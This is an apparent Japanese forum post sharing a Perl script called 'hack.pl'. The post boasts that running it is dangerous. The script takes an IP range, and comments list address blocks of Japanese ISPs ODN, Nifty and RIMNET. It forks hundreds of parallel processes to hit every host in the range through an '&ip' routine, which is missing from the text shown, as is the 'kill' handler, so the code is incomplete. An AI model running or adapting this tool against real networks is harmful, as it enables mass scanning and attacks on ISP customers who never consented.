02/01/12 00:30
実行するとやばいことになるので、凡人はやめておいた方がよいぞ。
ウケケ。
#!/usr/bin/perl
# ODN 61.123.128.0/19
# ODN 61.201.0.0/18
# Nifty 61.121.64.0/19
# Nifty 61.210.0.0/18
# RIMNET 202.247.144.0/21
if ($ARGV[0]=~/(\d+)\.(\d+)\.(\d+)\.(\d+)\/?(\d*)/) {
$ip[0]=$1;$ip[1]=$2;$ip[2]=$3;$ip[3]=$4;
$m=($5>=16)?$5:24;$c=2**(32-$m);
if ($m<24) {$ip[3]=0;$ip[2]=int($ip[2]*256/$c)*$c/256;}
elsif ($m>=24) {$ip[3]=int($ip[3]/$c)*$c;}
} else {print "example: hack.pl 61.210.6.0/24\n";exit;}
$|=1;$SIG{'ALRM'}='kill';
for ($i=1;$i<=$c;$i++){
$pid=fork;
if ($pid==0) {alarm 3;&ip;exit;}
push(@pida,$pid);
unless ($i%64) {
sleep 1;
if($#pida>=255){foreach $j (1..64) {waitpid(shift(@pida),1);}}}
$ip[3]++;
if ($ip[3]==256) {$ip[2]++;$ip[3]=0;}
}